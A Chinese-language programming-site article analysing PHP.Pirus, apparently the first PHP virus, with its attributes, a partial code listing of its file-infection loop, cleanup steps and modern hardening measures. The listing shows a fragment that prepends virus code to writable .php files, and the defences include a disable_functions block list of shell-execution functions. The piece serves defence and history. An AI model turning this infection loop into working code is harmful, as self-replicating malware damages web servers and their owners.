首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

首個 PHP 病毒 PHP.Pirus 技術分析與防範指南

     編輯:PHP 相關知識

歷史上第一隻 PHP 惡意程式碼深度剖析

2000 年發現的 PHP.Pirus 是首個經確認的 PHP 病毒,雖然破壞力低但具備自我複製特徵,為 Web 應用安全敲響警鐘。本文整理技術細節、感染機制與清除方案。

病毒基本屬性

屬性數值
發現時間2000-09-11 (Symantec 記錄)
檔案大小718 位元組
感染目標副檔名 .php、.htm 的可寫入檔案
運行條件需在支援 PHP 解析的伺服器上執行
傳播向量本地檔案系統寫入,非網路蠕蟲傳播
威脅等級低 (感染主機 0-49、站點 0-2、地理分布低)

感染機制技術解析

';

foreach (glob("*.php") as $file) {
    if (is_writable($file)) {
        $content = file_get_contents($file);
        // 檢查是否已感染
        if (strpos($content, $virus_code) === false) {
            // 前置注入,優先執行病毒碼
            file_put_contents($file, $virus_code . "\n" . $content);
        }
    }
}
foreach (glob("*.htm") as $file) {
    // 同樣處理 .htm 檔案
}

關鍵特徵:

  • 掃描當前目錄 *.php 與 *.htm
  • 檢查寫入權限 is_writable()
  • 特徵碼檢測避免重複感染
  • 前置注入 include "virus.php" 確保優先執行

清除與防護步驟

  1. 刪除源病毒檔案:檔名可能變異,需掃描可疑 PHP 檔案
  2. 清理受感染檔案:移除所有 <?php include "virus.php"; ?> 注入行
  3. 修復檔案權限:chmod 644 移除不必要的寫入權限
  4. 驗證清除:grep -r "include.*virus\.php" /web/root

防範最佳實踐 (現代視角)

PHP.Pirus 利用了「目錄可寫」與「程式碼注入」兩個經典弱點。現代防護體系:

防護層面具體措施
檔案系統Web 目錄 不可寫;上傳目錄隔離、禁用執行權限、隨機化檔名
PHP 配置disable_functions=exec,shell_exec,system,passthru,popen,proc_open;open_basedir 限制存取路徑
程式碼審計靜態分析工具 (Psalm, PHPStan) 檢測動態包含、eval 等高風險模式
運行時防護WAF (ModSecurity) 規則攔截惡意載荷;RASP 技術監控異常檔案寫入
部署流程唯讀容器映像;CI/CD 管道整合掃描;生產環境禁止直接修改程式碼

歷史意義與啟示

PHP.Pirus 證明了腳本語言同樣面臨惡意程式碼威脅。其「檔案感染」模式雖然原始,但啟發了後續 Web Shell、PHP 殭屍網路、勒索軟體等演變。核心教訓:最小權限原則 與 不可變基礎設施 是根本防線。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved